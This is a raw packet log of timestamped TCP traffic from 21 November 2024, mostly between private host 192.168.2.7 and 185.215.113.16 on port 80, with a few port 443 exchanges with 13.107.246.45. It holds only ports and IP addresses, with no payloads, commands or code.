Nov 21, 2024 00:03:22.160352945 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.160445929 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.160509109 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.161187887 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.161262035 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.161314964 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.161933899 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.162019968 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.162072897 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.162837982 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.162934065 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.162986040 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.163597107 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.163717985 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.163773060 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.164398909 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.164551020 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.164617062 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.165131092 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.165255070 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.165412903 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.165952921 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.166038036 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.166137934 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.166690111 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.166748047 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.166867018 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.167565107 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.167649031 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.168097973 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.168346882 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.168482065 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.168559074 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.169289112 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.169306040 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.169387102 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.169960022 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.169984102 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.170051098 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.170770884 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.170838118 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.170897961 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.171556950 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.171689034 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.171747923 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.172379971 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.172405005 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.172456980 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.173096895 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.173218966 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.173273087 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.173990965 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.174088001 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.174140930 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.174726963 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.174921036 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.174977064 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.175483942 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.175642967 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.175766945 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.176259041 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.176343918 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.176433086 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.177084923 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.177346945 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.177400112 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.177869081 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.178082943 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.178138018 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.178642988 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.178762913 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.178842068 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.179536104 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.179600954 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.179661989 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.180243015 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.180352926 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.180432081 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.181082964 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.181180000 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.181241989 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.181869030 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.182003021 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.182086945 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.182728052 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.182744026 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.182805061 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.183402061 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.183543921 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.183614969 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.184202909 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.184343100 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.184402943 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.185133934 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.185152054 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.185218096 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.185920000 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.185935020 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.186047077 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.186594963 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.186765909 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.186847925 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.187385082 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.187541962 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.187618971 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.188184023 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.188292027 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.188350916 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.188996077 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.189192057 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.189246893 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.189810038 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.189903975 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.189975977 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.190644979 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.190709114 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.190808058 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.191371918 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.191484928 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.191538095 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.192259073 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.192282915 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.192333937 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.193073988 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.193089962 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.193156004 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.193866968 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.193881989 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.193932056 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.194588900 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.194641113 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.194756985 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.195327997 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.244062901 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.272480965 CET	443	49762	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.273051977 CET	49762	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.273068905 CET	443	49762	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.273659945 CET	49762	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.273667097 CET	443	49762	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.346515894 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.346541882 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.346656084 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.346766949 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.347048044 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.347112894 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.347548008 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.347667933 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.347723961 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.348341942 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.348520994 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.348577976 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.349215031 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.349237919 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.349394083 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.349931002 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.350025892 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.350078106 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.350725889 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.350905895 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.350958109 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.351567984 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.351619959 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.351669073 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.352565050 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.352581978 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.352632999 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.353148937 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.353240967 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.353286982 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.353912115 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.354047060 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.354094982 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.354751110 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.354801893 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.354849100 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.355700970 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.355787992 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.355892897 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.356323004 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.356420040 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.356467009 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.357333899 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.357350111 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.357414007 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.357897997 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.358149052 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.358195066 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.358690977 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.358818054 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.358869076 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.359509945 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.359568119 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.359616041 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.360308886 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.360496044 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.360544920 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.361099958 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.361166000 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.361218929 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.361840963 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.361952066 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.361999035 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.362699032 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.362757921 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.362867117 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.363512993 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.363528967 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.363581896 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.364233971 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.364392042 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.364444017 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.365154028 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.365170002 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.365215063 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.365942001 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.365957975 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.366085052 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.366677999 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.366811991 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.366858006 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.367407084 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.367727995 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.367774963 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.368221045 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.368355036 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.368397951 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.369025946 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.369178057 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.369232893 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.369877100 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.369973898 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.370028973 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.370583057 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.370676994 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.370724916 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.371402979 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.371418953 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.371474028 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.372245073 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.372261047 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.372306108 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.373051882 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.373112917 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.373182058 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.373909950 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.373927116 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.373974085 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.374697924 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.374716043 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.374775887 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.375397921 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.375469923 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.375494957 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.375545979 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.376127958 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.376233101 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.376281023 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.377969980 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.377989054 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.378005981 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.378026009 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.378041983 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.378082991 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.378741980 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.378770113 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.378812075 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.379374027 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.379430056 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.379475117 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.380237103 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.380251884 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.380300045 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.380920887 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.381056070 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.381113052 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.381757975 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.381791115 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.381838083 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.382611990 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.382697105 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.382742882 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.383344889 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.383474112 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.383521080 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.384244919 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.384260893 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.384310961 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.384478092 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.384900093 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.385018110 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.385068893 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.385740042 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.385806084 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.385854959 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.386502028 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.386518955 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.386567116 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.387341022 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.387356997 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.387404919 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.391889095 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.393477917 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.417992115 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.523180962 CET	443	49763	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.523890972 CET	49763	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.523911953 CET	443	49763	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.524506092 CET	49763	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.524511099 CET	443	49763	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.536900043 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.536947966 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.537024021 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.537081003 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.537348032 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.537400007 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.537945032 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.538183928 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.538225889 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.538824081 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.539165974 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.539208889 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.539551020 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.539843082 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.539891958 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.540303946 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.540441036 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.540487051 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.541165113 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.541177988 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.541222095 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.541996002 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.542067051 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.542112112 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.542730093 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.542860985 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.542908907 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.543525934 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.543689966 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.543751955 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.544285059 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.544362068 CET	80	49760	185.215.113.16	192.168.2.7
